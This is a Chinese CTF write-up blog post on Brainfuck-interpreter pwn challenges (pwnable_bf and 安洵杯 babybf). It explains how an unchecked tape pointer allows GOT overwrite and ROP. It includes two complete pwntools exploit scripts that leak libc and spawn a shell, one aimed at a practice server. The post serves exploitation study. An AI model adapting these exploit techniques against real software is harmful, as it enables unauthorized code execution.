bf解释器

最近在强网拟态和安洵杯上都出现了bf解释器的题,自己还是头一回见,在此学习一下。

Brainfuck,简称BF,是一种极小化的程序语言

pwnable_bf

首先看一道pwnable_bf(buu和pwnable.kr上都有)

其主函数中全局变量p指向全局变量tape的地址,输入一段字符后就让每个字符进入do_brainfuck函数:

在do_brainfuck函数中就是对指针p的操作,每一个字符实际上就对应了bf解释器的操作;漏洞也很明显,就是指针p对应tape的地址的变化没有做出限制,这就让指针p指向got表:

泄漏地址libc地址后可以继续使用的就只有putchar函数和getchar函数,由于对got表的读写都只能是一字节,getchar函数对自己的got表修改到一半就会先失效,所以只能修改putchar函数的got表;而putchar函数的参数只能是一个字节,无法完成”/bin/sh”的调用,所以修改putchar函数为_start、memset函数为gets函数、fgets函数为system函数即可。

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
elf = ELF('bf')
#libc = elf.libc
libc = ELF('libc-2.23.so')
#p = process('./bf')
p = remote('node4.buuoj.cn', 25595)
context.log_level = 'debug'

def getchar(gadget):
l = len(gadget)
gadget = int.from_bytes(gadget, byteorder='little', signed=True)
for i in range(l):
t = gadget & 0xff
gadget = gadget >> 8
p.send(p8(t))

payload = b'<' * 0x7c + b'.>' * 4 #泄漏__libc_start_main的地址
payload += b'<' * 24 + b',>' * 4 #修改fgets函数的地址
payload += b'>' * 24 + b',>' * 8 #修改memset函数和putchar函数
payload += b'.' #调用putchar函数
p.sendlineafter(b'[ ]', payload)
leak = u32(p.recvuntil(b'\xf7')[-4:])

libcbase = leak - libc.sym['__libc_start_main']
sys_addr = libcbase + libc.sym['system']
gets = libcbase + libc.sym['gets']

getchar(p32(sys_addr))
getchar(p32(gets))
getchar(p32(0x80484e0))

p.sendline(b'/bin/sh\x00')
p.interactive()

安洵杯babybf

本地环境:2.27-3ubuntu1.6_amd64

安洵杯的这道题很抽象

v3数组

函数sub_142F的开头就是一些函数赋值给v3数组,这些函数直接去看是完全不知道其意义,所以边调试边去阅读可以很好得帮助理解。

函数栈的排布如下:

这里以函数sub_16F6为例子

  1. rbp-0A8中的值(0x7ffc6a1b48d0)加1

  2. rbp-0B0中的值(0x562b3853e261)加1

  3. eax赋上地址0x562b3853e261中的值(1字节)

  4. mov rax, [rbp+rax*8-80h] (rax赋上v3数组的函数地址,rax = v3[rax])

  5. jmp rax

再对照函数sub_16F6伪代码就可以知道函数的作用了

实际上rbp-0A8就是bf解释器的指针,rbp-0B0中储存着下一指令,所以这些函数作用如下:

字符转化

这道题并没有直接给你"> < , ." 这些字符,而是在你输入一段字符后,又去使用dword_2020数组进行一步转化

dword_2020数组部分内容如下:

规律如下:[输入的值(ascii码)=>转化后的值]

[0=>8][1=>9][43=>2][44=>5][45=>3][46=>4][60=>0][62=>1][91=>6][93=>7]

输入的值是字符,在内存中以ascii码储存,转化后的值又是对应v3数组中的引索。

例如字符'>'的ascii码为62,转化后的值为1,最后对应v3[1]中函数的执行。

漏洞利用

虽然这道题不像pwnable_bf中很直接给出bf解释器的操作,但是经过一系列转化后也同样达到了bf解释器的效果。

操作的指针是rbp-0A8,其里面的值也是栈上的值,也就是可以对栈上任意值读写,所以泄漏__libc_start_main函数地址后直接ROP

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
elf = ELF('chall')
libc = elf.libc
p = process('./chall')
#context.log_level = 'debug'

def getchar(gadget):
l = len(gadget)
gadget = int.from_bytes(gadget, byteorder='little', signed=True)
for i in range(l):
t = gadget & 0xff
gadget = gadget >> 8
p.send(p8(t))

#s = [0,8][1,9][43,2][44,5][45,3][46,4][60,0][62,1][91,6][93,7]

p.sendlineafter(b'len>', str(0x100).encode())
payload = b'>' * 0x58 + (b'.' + b'>') * 8 + b'<' * 0x28 + (b',' + b'>') * 0x20
p.sendafter(b'code>', payload)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - 231 - libc.sym['__libc_start_main']
sys_addr = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
pop_rdi = libcbase + 0x2164f
ret = libcbase + 0x8aa

payload = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
getchar(payload)
#pause()
p.interactive()

强网拟态bfbf

强网拟态2022pwn - xtxtn’s Blog

参考:Brainfuck - 维基百科,自由的百科全书 (wikipedia.org)


bf解释器
https://xtxtn.github.io/2022/12/12/bf解释器/
作者
xtxtn
发布于
2022年12月12日
更新于
2023年1月13日
许可协议